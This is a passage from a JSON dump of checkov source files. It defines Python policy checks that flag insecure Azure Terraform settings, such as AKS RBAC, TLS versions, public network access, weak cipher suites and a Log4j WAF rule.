    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AKSOnlyCriticalPodsOnSystemNodes(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        Microsoft recommends to isolate critical system pods from application pods\n        to prevent misconfigured or rogue application pods from accidentally killing system pods.\n\n        This can be enforced by creating a dedicated system node pool with the CriticalAddonsOnly=true:NoSchedule taint\n        to prevent application pods from being scheduled on system node pools.\n        \"\"\"\n        name = \"Ensure that only critical system pods run on system nodes\"\n        id = \"CKV_AZURE_232\"\n        supported_resources = (\"azurerm_kubernetes_cluster\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"default_node_pool/[0]/only_critical_addons_enabled\"\n\n\ncheck = AKSOnlyCriticalPodsOnSystemNodes()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AKSPoolTypeIsScaleSet.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass AKSPoolTypeIsScaleSet(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Azure Kubernetes Cluster (AKS) nodes use scale sets\"\n        id = \"CKV_AZURE_169\"\n        supported_resources = (\"azurerm_kubernetes_cluster\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"default_node_pool/[0]/type\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [\"AvailabilitySet\"]\n\n\ncheck = AKSPoolTypeIsScaleSet()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AKSRbacEnabled.py",
    "content": "import dpath\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AKSRbacEnabled(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure RBAC is enabled on AKS clusters\"\n        id = \"CKV_AZURE_5\"\n        supported_resources = [\"azurerm_kubernetes_cluster\"]\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def scan_resource_conf(self, conf):\n        self.evaluated_keys = [\n            \"role_based_access_control/[0]/enabled\",  # azurerm < 2.99.0\n            \"role_based_access_control_enabled\",  # azurerm >= 2.99.0\n        ]\n\n        for key in self.evaluated_keys:\n            if dpath.search(conf, key):\n                return CheckResult.PASSED if dpath.get(conf, key)[0] else CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = AKSRbacEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AKSSecretStoreRotation.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AkSSecretStoreRotation(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure autorotation of Secrets Store CSI Driver secrets for AKS clusters\"\n        id = \"CKV_AZURE_172\"\n        supported_resources = (\"azurerm_kubernetes_cluster\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"key_vault_secrets_provider/secret_rotation_enabled\"\n\n\ncheck = AkSSecretStoreRotation()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AKSUpgradeChannel.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, Dict, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AKSUpgradeChannel(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure AKS cluster upgrade channel is chosen\"\n        id = \"CKV_AZURE_171\"\n        supported_resources = (\"azurerm_kubernetes_cluster\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        if 'automatic_channel_upgrade' in conf:\n            automatic_channel_upgrade = conf.get('automatic_channel_upgrade')\n            if isinstance(automatic_channel_upgrade, list) and automatic_channel_upgrade != ['none']:\n                return CheckResult.PASSED\n\n        if 'automatic_upgrade_channel' in conf:\n            automatic_upgrade_channel = conf.get('automatic_upgrade_channel')\n            if isinstance(automatic_upgrade_channel, list) and automatic_upgrade_channel != ['none']:\n                return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['automatic_upgrade_channel', 'automatic_channel_upgrade']\n\n\ncheck = AKSUpgradeChannel()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AKSUsesAzurePoliciesAddon.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AKSUsesAzurePoliciesAddon(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that AKS uses Azure Policies Add-on\"\n        id = \"CKV_AZURE_116\"\n        supported_resources = ['azurerm_kubernetes_cluster']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        # since Azure provider v2.97.0\n        azure_policy_enabled = conf.get(\"azure_policy_enabled\", [None])[0]\n        if azure_policy_enabled:\n            self.evaluated_keys = [\"azure_policy_enabled\"]\n            return CheckResult.PASSED\n        # up to and including Azure provider v2.96.0\n        self.evaluated_keys = [\"addon_profile/[0]/azure_policy/[0]/enabled\"]\n        addon_profile = conf.get('addon_profile')\n        if addon_profile:\n            addon_profile = addon_profile[0]\n        if addon_profile and isinstance(addon_profile, dict):\n            azure_policy = addon_profile.get(\"azure_policy\", [None])[0]\n            if azure_policy and isinstance(azure_policy, dict) and azure_policy.get(\"enabled\", [None])[0]:\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = AKSUsesAzurePoliciesAddon()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AKSUsesDiskEncryptionSet.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AKSUsesDiskEncryptionSet(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that AKS uses disk encryption set\"\n        id = \"CKV_AZURE_117\"\n        supported_resources = ['azurerm_kubernetes_cluster']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self):\n        return \"disk_encryption_set_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = AKSUsesDiskEncryptionSet()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/APIManagementBackendHTTPS.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass APIManagementBackendHTTPS(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure API management backend uses https\"\n        id = \"CKV_AZURE_215\"\n        supported_resources = (\"azurerm_api_management_backend\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        self.evaluated_keys = [\"url\"]\n        url = conf.get(\"url\")\n        if url and isinstance(url, list):\n            if \"https\" in url[0]:\n                return CheckResult.PASSED\n\n            return CheckResult.FAILED\n\n        return CheckResult.UNKNOWN\n\n\ncheck = APIManagementBackendHTTPS()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/APIManagementCertsEnforced.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass APIManagementCertsEnforced(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Client Certificates are enforced for API management\"\n        id = \"CKV_AZURE_152\"\n        supported_resources = ['azurerm_api_management']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if conf.get('sku_name'):\n            if conf['sku_name'] == [\"Consumption\"]:\n                if conf.get('client_certificate_enabled'):\n                    if conf.get('client_certificate_enabled') == [True]:\n                        return CheckResult.PASSED\n                self.evaluated_keys = ['/client_certificate_enabled/']\n                return CheckResult.FAILED\n        return CheckResult.UNKNOWN\n\n\ncheck = APIManagementCertsEnforced()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/APIManagementMinTLS12.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass APIManagementMinTLS12(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure API management uses at least TLS 1.2\"\n        id = \"CKV_AZURE_173\"\n        supported_resources = (\"azurerm_api_management\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if conf.get('security'):\n            security = conf['security'][0]\n            if 'enable_back_end_ssl30' in security:\n                if security['enable_back_end_ssl30'][0]:\n                    self.evaluated_keys = ['security/[0]/enable_back_end_ssl30']\n                    return CheckResult.FAILED\n            if 'enable_backend_tls10' in security:\n                if security['enable_backend_tls10'][0]:\n                    self.evaluated_keys = ['security/[0]/enable_backend_tls10']\n                    return CheckResult.FAILED\n            if 'enable_frontend_ssl30' in security:\n                if security['enable_frontend_ssl30'][0]:\n                    self.evaluated_keys = ['security/[0]/enable_frontend_ssl30']\n                    return CheckResult.FAILED\n            if 'enable_frontend_tls10' in security:\n                if security['enable_frontend_tls10'][0]:\n                    self.evaluated_keys = ['security/[0]/enable_frontend_tls10']\n                    return CheckResult.FAILED\n            if 'enable_frontend_tls11' in security:\n                if security['enable_frontend_tls11'][0]:\n                    self.evaluated_keys = ['security/[0]/enable_frontend_tls11']\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = APIManagementMinTLS12()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/APIManagementPublicAccess.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass APIManagementPublicAccess(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure API management public access is disabled\"\n        id = \"CKV_AZURE_174\"\n        supported_resources = (\"azurerm_api_management\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_attribute_result=CheckResult.FAILED,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"public_network_access_enabled\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [True]\n\n\ncheck = APIManagementPublicAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/APIServicesUseVirtualNetwork.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass APIServicesUseVirtualNetwork(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that API management services use virtual networks\"\n        id = \"CKV_AZURE_107\"\n        supported_resources = ['azurerm_api_management']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"virtual_network_configuration/[0]/subnet_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = APIServicesUseVirtualNetwork()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/ActiveDirectoryUsedAuthenticationServiceFabric.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ActiveDirectoryUsedAuthenticationServiceFabric(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensures that Active Directory is used for authentication for Service Fabric\"\n        id = \"CKV_AZURE_126\"\n        supported_resources = ['azurerm_service_fabric_cluster']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"azure_active_directory/[0]/tenant_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = ActiveDirectoryUsedAuthenticationServiceFabric()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppConfigEncryption.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Any\n\n\nclass AppConfigEncryption(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure App configuration encryption block is set.\"\n        id = \"CKV_AZURE_186\"\n        supported_resources = (\"azurerm_app_configuration\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"encryption/[0]/key_vault_key_identifier\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = AppConfigEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppConfigLocalAuth.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom typing import List, Any\n\n\nclass AppConfigLocalAuth(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        Every request to an Azure App Configuration resource must be authenticated.\n        By default, requests can be authenticated with either Azure Active Directory (Azure AD) credentials,\n        or by using an access key. Of these two types of authentication schemes,\n        Azure AD provides superior security and ease of use over access keys, and is recommended by Microsoft.\n        \"\"\"\n        name = \"Ensure 'local_auth_enabled' is set to 'False'\"\n        id = \"CKV_AZURE_184\"\n        supported_resources = (\"azurerm_app_configuration\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_attribute_result=CheckResult.FAILED)\n\n    def get_inspected_key(self) -> str:\n        return \"local_auth_enabled\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [True]\n\n\ncheck = AppConfigLocalAuth()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppConfigPublicAccess.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom typing import List, Any\n\n\nclass AppConfigPublicAccess(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure 'Public Access' is not Enabled for App configuration\"\n        id = \"CKV_AZURE_185\"\n        supported_resources = (\"azurerm_app_configuration\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"public_network_access\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        return ['Enabled']\n\n\ncheck = AppConfigPublicAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppConfigPurgeProtection.py",
    "content": "\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppConfigPurgeProtection(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure App configuration purge protection is enabled\"\n        id = \"CKV_AZURE_187\"\n        supported_resources = (\"azurerm_app_configuration\",)\n        categories = (CheckCategories.BACKUP_AND_RECOVERY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self) -> str:\n        return \"purge_protection_enabled\"\n\n\ncheck = AppConfigPurgeProtection()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppConfigSku.py",
    "content": "\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Any\n\n\nclass AppConfigSku(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure App configuration Sku is standard\"\n        id = \"CKV_AZURE_188\"\n        supported_resources = (\"azurerm_app_configuration\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"sku\"\n\n    def get_expected_value(self) -> Any:\n        return \"standard\"\n\n\ncheck = AppConfigSku()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppGWDefinesSecureProtocols.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\nBAD_CIPHERS = {\n    \"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384\",\n    \"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256\",\n    \"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA\",\n    \"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA\",\n    \"TLS_DHE_RSA_WITH_AES_256_GCM_SHA384\",\n    \"TLS_DHE_RSA_WITH_AES_128_GCM_SHA256\",\n    \"TLS_DHE_RSA_WITH_AES_256_CBC_SHA\",\n    \"TLS_DHE_RSA_WITH_AES_128_CBC_SHA\",\n    \"TLS_RSA_WITH_AES_256_GCM_SHA384\",\n    \"TLS_RSA_WITH_AES_128_GCM_SHA256\",\n    \"TLS_RSA_WITH_AES_256_CBC_SHA256\",\n    \"TLS_RSA_WITH_AES_128_CBC_SHA256\",\n    \"TLS_RSA_WITH_AES_256_CBC_SHA\",\n    \"TLS_RSA_WITH_AES_128_CBC_SHA\",\n    \"TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 \",\n    \"TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256\",\n    \"TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA\",\n    \"TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA\",\n    \"TLS_DHE_DSS_WITH_AES_256_CBC_SHA256\",\n    \"TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 \",\n    \"TLS_DHE_DSS_WITH_AES_256_CBC_SHA\",\n    \"TLS_DHE_DSS_WITH_AES_128_CBC_SHA\",\n    \"TLS_RSA_WITH_3DES_EDE_CBC_SHA\",\n    \"TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA\",\n}\nPROTOCOL_VERSIONS = {\"TLSv1_2\", \"TLSv1_3\"}\n\n\nclass AppGWDefinesSecureProtocols(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        https://azure.github.io/PSRule.Rules.Azure/en/rules/Azure.AppGw.SSLPolicy/\n\n        \"\"\"\n        name = \"Ensure Application Gateway defines secure protocols for in transit communication\"\n        id = \"CKV_AZURE_218\"\n        supported_resources = (\"azurerm_application_gateway\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        ssl_policy = conf.get(\"ssl_policy\")\n        if ssl_policy and isinstance(ssl_policy, list):\n            ssl_policy = ssl_policy[0]\n            policy_type = ssl_policy.get(\"policy_type\")\n            if policy_type and isinstance(policy_type, list):\n                if policy_type[0] != \"Predefined\":\n                    protocol_version = ssl_policy.get(\"min_protocol_version\")\n                    if (\n                        protocol_version\n                        and isinstance(protocol_version, list)\n                        and protocol_version[0] in PROTOCOL_VERSIONS\n                    ):\n                        ciphers = ssl_policy.get(\"cipher_suites\")\n                        if ciphers and isinstance(ciphers, list) and any(cipher in BAD_CIPHERS for cipher in ciphers[0]):\n                            self.evaluated_keys = [\"ssl_policy/[0]/cipher_suites\"]\n                            return CheckResult.FAILED\n                        return CheckResult.PASSED\n\n                policy_name = ssl_policy.get(\"policy_name\")\n                if policy_name and isinstance(policy_name, list) and policy_name[0] == \"AppGwSslPolicy20220101S\":\n                    return CheckResult.PASSED\n                self.evaluated_keys = [\"ssl_policy/[0]/policy_name\"]\n                return CheckResult.FAILED\n\n        self.evaluated_keys = [\"ssl_policy\"]\n        return CheckResult.FAILED\n\n\ncheck = AppGWDefinesSecureProtocols()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppGWUseWAFMode.py",
    "content": "from typing import List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AppGWUseWAFMode(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that Application Gateway uses WAF in \\\"Detection\\\" or \\\"Prevention\\\" modes\"\n        id = \"CKV_AZURE_122\"\n        supported_resources = ['azurerm_web_application_firewall_policy']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'policy_settings' in conf and conf['policy_settings'][0]:\n            policy_settings = conf['policy_settings'][0]\n            if 'enabled' in policy_settings and not policy_settings['enabled'][0]:\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"policy_settings/[0]/enable\"]\n\n\ncheck = AppGWUseWAFMode()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppGWUsesHttps.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppGWUsesHttps(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Azure Application gateways listener that allow connection requests over HTTP\"\n        id = \"CKV_AZURE_217\"\n        supported_resources = (\"azurerm_application_gateway\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_expected_value(self) -> str:\n        return \"Https\"\n\n    def get_inspected_key(self) -> str:\n        return \"http_listener/[0]/protocol\"\n\n\ncheck = AppGWUsesHttps()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppGatewayWAFACLCVE202144228.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AppGatewayWAFACLCVE202144228(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Application Gateway WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell\"\n        id = \"CKV_AZURE_135\"\n        supported_resources = (\"azurerm_web_application_firewall_policy\",)\n        categories = (CheckCategories.APPLICATION_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = [\"managed_rules\"]\n        managed_rules = conf.get(\"managed_rules\")\n        if managed_rules:\n            managed_rule_sets = managed_rules[0].get(\"managed_rule_set\") or []\n            for idx_rule_set, rule_set in enumerate(force_list(managed_rule_sets)):\n                self.evaluated_keys = [\n                    f\"managed_rules/[0]/managed_rule_set[{idx_rule_set}]/type\",\n                    f\"managed_rules/[0]/managed_rule_set[{idx_rule_set}]/version\",\n                ]\n                if rule_set.get(\"type\", [\"OWASP\"]) == [\"OWASP\"] and rule_set.get(\"version\") in ([\"3.1\"], [\"3.2\"]):\n                    rule_overrides = rule_set.get(\"rule_group_override\") or []\n                    for idx_override, rule_override in enumerate(force_list(rule_overrides)):\n                        self.evaluated_keys.extend(\n                            [\n                                f\"managed_rules/[0]/managed_rule_set[{idx_rule_set}]/rule_group_override/[{idx_override}]/rule_group_name\",\n                                f\"managed_rules/[0]/managed_rule_set[{idx_rule_set}]/rule_group_override/[{idx_override}]/disabled_rules\",\n                            ]\n                        )\n                        if isinstance(rule_override, dict) and rule_override.get(\"rule_group_name\") == [\"REQUEST-944-APPLICATION-ATTACK-JAVA\"]:\n                            disabled_rules = rule_override.get(\"disabled_rules\") or []\n                            if disabled_rules and isinstance(disabled_rules, list) and \"944240\" in force_list(disabled_rules[0]):\n                                return CheckResult.FAILED\n\n                    return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = AppGatewayWAFACLCVE202144228()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceAlwaysOn.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServiceAlwaysOn(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        # \"Azure App Service apps are automatically unloaded when there's no traffic. Unloading apps reduces resource\n        # consumption when apps share a single App Services Plan.\n        # After an app have been unloaded, the next web request will trigger a cold start of the app.\n        # A cold start of the app can cause a noticeable performance issues and request timeouts.\n        # Continuous WebJobs or WebJobs triggered with a CRON expression must use always on to start.\n        # The Always On feature is implemented by the App Service load balancer,\n        # periodically sending requests to the application root.\"\n        name = \"Ensure App Service is set to be always on\"\n        id = \"CKV_AZURE_214\"\n        supported_resources = ('azurerm_linux_web_app', 'azurerm_windows_web_app')\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        return 'site_config/[0]/always_on/[0]'\n\n\ncheck = AppServiceAlwaysOn()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceAuthentication.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AppServiceAuthentication(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure App Service Authentication is set on Azure App Service\"\n        id = \"CKV_AZURE_13\"\n        supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app')\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'auth_settings/[0]/enabled/[0]'\n\n    def scan_resource_conf(self, conf):\n        if conf.get('auth_settings') and isinstance(conf.get('auth_settings'), list):\n            auth = conf.get('auth_settings')[0]\n            if auth.get(\"enabled\") and isinstance(auth.get(\"enabled\"), list):\n                enabled = auth.get(\"enabled\")[0]\n                if enabled:\n                    return CheckResult.PASSED\n                return CheckResult.FAILED\n        if conf.get('auth_settings_v2') and isinstance(conf.get('auth_settings_v2'), list):\n            auth = conf.get('auth_settings_v2')[0]\n            if auth.get(\"auth_enabled\") and isinstance(auth.get(\"auth_enabled\"), list):\n                enabled = auth.get(\"auth_enabled\")[0]\n                if enabled:\n                    return CheckResult.PASSED\n                return CheckResult.FAILED\n        return CheckResult.FAILED\n\n\ncheck = AppServiceAuthentication()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceClientCertificate.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServiceClientCertificate(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure the web app has 'Client Certificates (Incoming client certificates)' set\"\n        id = \"CKV_AZURE_17\"\n        supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self):\n        if self.entity_type == 'azurerm_app_service':\n            return 'client_cert_enabled/[0]'\n        else:\n            return 'client_certificate_enabled/[0]'\n\n\ncheck = AppServiceClientCertificate()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceDetailedErrorMessagesEnabled.py",
